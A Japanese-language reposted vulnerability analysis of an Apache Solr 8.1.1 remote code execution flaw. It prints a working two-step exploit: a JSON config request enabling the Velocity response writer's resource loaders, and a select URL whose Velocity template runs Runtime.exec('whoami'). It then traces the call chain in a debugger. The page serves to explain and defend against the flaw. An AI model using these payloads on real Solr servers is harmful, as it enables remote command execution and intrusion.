ホームページ >運用・保守 >安全性 >Apache Solr の最新の RCE 脆弱性を分析する方法

Apache Solr の最新の RCE 脆弱性を分析する方法

王林
王林転載
2023-05-25 18:58:301557ブラウズ

はじめに

Apache Solr は RCE 0day 脆弱性を発見しました (脆弱性番号は示されていません)。ここでは便宜上、オブジェクトを単純に再現し、RCE プロセス全体を分析します。を参照してください。

脆弱性の再発

再現バージョン: 8.1.1

RCE を実装するには、2 つのステップに分ける必要があります。まず、アプリケーションに特定のコアが有効になっている場合 (Core Admin で表示できます)、インスタンス内のアプリケーションでは mycore が有効になっています。

怎样进行Apache Solr最新RCE漏洞分析

次に、最初に次の json データを構成インターフェイスに送信します。

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎样进行Apache Solr最新RCE漏洞分析

次に、次の URL にアクセスして RCE を実装します。

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Principle

まず、最初のデータ パケットを分析します。 mycore、最初に ブレークポイントは、構成リクエストを処理する SolrConfigHandler の handleRequestBody 関数に設定されます。

怎样进行Apache Solr最新RCE漏洞分析

これは POST リクエストであるため、handlePOST 関数 ## をフォローアップします。

怎样进行Apache Solr最新RCE漏洞分析

##handlePOST では、まず mycore の現在の設定を取り出し、送信した設定と同時にそれを handleCommands 関数に取り込み、その後の操作で最後にaddNamedPlugin 関数を入力して VelocityResponseWriter オブジェクトを作成します。オブジェクトの solr.resource.loader.enabled および params.resource.loader.enabled の値は true に設定され、オブジェクトの名前は Velocity です。

怎样进行Apache Solr最新RCE漏洞分析

次に、2 番目のデータ パケットを送信するときに、HttpSolrCall.call で responseWriter を取得するときに、パラメーター wt の値に従って、responseWriter オブジェクトが取得されます。速度、私たちが取得するものは、慎重に設定した VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

です。後続の一連の呼び出しの後、最終的に最高速度に入ります。 VelocityResponseWriter.write 関数は、最初に createEngine 関数を呼び出して、custom.vrm->payload の悪意のあるテンプレートを含むエンジンを生成します。

怎样进行Apache Solr最新RCE漏洞分析

悪意のあるテンプレートが配置されます。エンジン内 ここで、overridingProperties の params.resource.loader.instance と solr.resource.loader.instance に非常に重要な点があります。 params.resource を入力するには .loader.instance と solr.resource.loader.instance で、paramsResourceLoaderEnabled と solrResourceLoaderEnabled が True であることを確認する必要があります。これが最初のデータ パケットの動作です、

怎样进行Apache Solr最新RCE漏洞分析#その後、VelocityResponseWriter.getTemplate は、送信した v.template パラメーターに基づいて構築した悪意のあるテンプレートを取得します

怎样进行Apache Solr最新RCE漏洞分析最後に、悪意のあるテンプレートを取り出し、そのマージ メソッドを呼び出します,

怎样进行Apache Solr最新RCE漏洞分析このテンプレートを理解するには、Velocity Java テンプレート エンジン (このテンプレートは org.apache.velocity.Template クラス オブジェクトであるため) を理解し、公式のテンプレートを翻訳する必要があります。以下のように、

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象

この文から、このテンプレート エンジンには Java コードを実行する機能があることがわかります。基本的な書き方を理解するだけで十分です。基本的な構文の紹介でペイロードの構築方法を理解することができますが、より深く理解したい場合は、Velocity Java の情報をご自身で確認していただけますので、ここでは詳細な説明は省略します。

つまり、最後に呼び出された悪意のあるテンプレートのマージ メソッドにより、RCE が正常に発生し、最終的にキー コール チェーンが追加されました。 怎样进行Apache Solr最新RCE漏洞分析

改修計画

現在、正式パッチは提供されていないため、Solrへのアクセスを制限することをお勧めします。

以上がApache Solr の最新の RCE 脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。